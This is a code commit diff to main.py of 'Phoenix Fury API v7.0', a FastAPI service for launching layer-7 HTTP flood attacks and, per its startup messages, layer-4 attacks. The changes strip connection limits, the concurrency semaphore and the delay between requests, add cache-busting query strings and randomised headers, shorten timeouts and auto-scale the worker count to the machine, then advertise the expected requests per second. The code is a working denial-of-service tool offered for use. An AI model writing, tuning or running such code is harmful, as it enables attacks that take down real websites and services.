Update main.py

main.py

@@ -33,9 +33,29 @@ app = FastAPI(
 
 # --- Auto-Optimized Configuration ---
 CPU_COUNT = psutil.cpu_count(logical=True) or 8
-MAX_PROCESSES = min(CPU_COUNT * 2, 64)  # 2x CPU cores, max 64 processes
-MAX_CONCURRENCY_PER_PROCESS = 512  # Balanced async tasks per process
-STATS_BATCH_UPDATE_SIZE = 500  # Batch updates for performance
+TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
+
+# Auto-tune based on system resources
+if CPU_COUNT <= 4:
+    MAX_PROCESSES = CPU_COUNT * 4
+    MAX_CONCURRENCY_PER_PROCESS = 512
+elif CPU_COUNT <= 8:
+    MAX_PROCESSES = CPU_COUNT * 8  # 8 cores = 64 processes
+    MAX_CONCURRENCY_PER_PROCESS = 1024
+elif CPU_COUNT <= 16:
+    MAX_PROCESSES = CPU_COUNT * 6
+    MAX_CONCURRENCY_PER_PROCESS = 768
+else:
+    MAX_PROCESSES = CPU_COUNT * 4
+    MAX_CONCURRENCY_PER_PROCESS = 512
+
+# Adjust for low RAM systems
+if TOTAL_RAM_GB < 8:
+    MAX_CONCURRENCY_PER_PROCESS = 256
+    MAX_PROCESSES = min(MAX_PROCESSES, CPU_COUNT * 4)
+
+STATS_BATCH_UPDATE_SIZE = 1000  # Larger batches
+TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
 
 # --- L7 Enhanced Headers Pool ---
 USER_AGENTS = [
@@ -234,20 +254,18 @@ async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
     ssl_context.check_hostname = False
     ssl_context.verify_mode = ssl.CERT_NONE
     
-    # Aggressive connector settings for maximum throughput
+    # Maximum throughput connector settings
     connector = aiohttp.TCPConnector(
-        limit=1000,  # Limit total connections
-        limit_per_host=100,  # Per host limit
+        limit=0,  # Unlimited connections
+        limit_per_host=0,  # No per-host limit
         ttl_dns_cache=300,
-        force_close=False,  # Keep connections alive for reuse
-        enable_cleanup_closed=True
+        force_close=False,  # Reuse connections
+        enable_cleanup_closed=True,
+        keepalive_timeout=30
     )
     
-    # Minimal timeouts for maximum speed
-    timeout = aiohttp.ClientTimeout(total=10, connect=3, sock_read=3)
-    
-    # Semaphore to control concurrent requests
-    semaphore = asyncio.Semaphore(concurrency)
+    # Aggressive timeouts
+    timeout = aiohttp.ClientTimeout(total=5, connect=2, sock_read=2)
     
     async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
         async def task_worker():
@@ -255,26 +273,28 @@ async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
             local_counter = 0
             while not stop_event.is_set():
                 try:
-                    async with semaphore:
-                        # Random query string to bypass caching
-                        cache_buster = f"?{random.randint(1, 999999999)}"
-                        async with session.request(
-                            method, 
-                            f"{url}{cache_buster}", 
-                            headers=get_random_headers(),
-                            allow_redirects=False
-                        ) as response:
-                            await response.read()  # Consume response
-                        local_counter += 1
-                except Exception as e:
-                    local_counter += 1  # Count even on failure
+                    # Random query string to bypass caching
+                    cache_buster = f"?_={random.randint(1, 999999999)}"
+                    async with session.request(
+                        method, 
+                        f"{url}{cache_buster}", 
+                        headers=get_random_headers(),
+                        allow_redirects=False
+                    ) as response:
+                        # Don't wait for full response - just status
+                        _ = response.status
+                    local_counter += 1
+                except:
+                    # Count failures too for accurate metrics
+                    local_counter += 1
                 finally:
                     # Batch updates for performance
                     if local_counter >= STATS_BATCH_UPDATE_SIZE:
                         with shared_counter.get_lock():
                             shared_counter.value += local_counter
                         local_counter = 0
-                    await asyncio.sleep(0.001)  # Small delay to prevent CPU spin
+                    # Minimal yield
+                    await asyncio.sleep(0)
             
             # Final update
             if local_counter > 0:
@@ -500,17 +520,18 @@ MANAGER = AttackManager()
 @app.on_event("startup")
 async def on_startup():
     """Startup message with system info."""
-    print("=" * 60)
+    print("=" * 70)
     print("🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition")
-    print(f"   Detected {CPU_COUNT} logical CPU cores")
+    print(f"   System: {CPU_COUNT} CPU cores | {TOTAL_RAM_GB:.1f} GB RAM")
     print(f"   Auto-configured processes: {MAX_PROCESSES}")
     print(f"   Auto-configured L7 concurrency: {MAX_CONCURRENCY_PER_PROCESS} per process")
-    print(f"   Total workers: {MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS:,}")
+    print(f"   Total workers: {TOTAL_WORKERS:,}")
+    print(f"   Expected RPS: {int(TOTAL_WORKERS * 0.5):,} - {int(TOTAL_WORKERS * 1.5):,}")
     if check_root():
         print("✅ Running with root privileges - L4 attacks ENABLED")
     else:
         print("⚠️ WARNING: Not root - L4 attacks will FAIL")
-    print("=" * 60)
+    print("=" * 70)
 
 def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
     """Run attack lifecycle in background."""
@@ -572,9 +593,14 @@ def root():
     return {
         "message": "🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
         "docs": "/docs",
-        "max_processes": MAX_PROCESSES,
-        "max_concurrency": MAX_CONCURRENCY_PER_PROCESS,
-        "cpu_cores": CPU_COUNT
+        "system": {
+            "cpu_cores": CPU_COUNT,
+            "ram_gb": round(TOTAL_RAM_GB, 1),
+            "max_processes": MAX_PROCESSES,
+            "max_concurrency": MAX_CONCURRENCY_PER_PROCESS,
+            "total_workers": TOTAL_WORKERS,
+            "expected_rps": f"{int(TOTAL_WORKERS * 0.5):,} - {int(TOTAL_WORKERS * 1.5):,}"
+        }
     }
 
 # --- Main Execution ---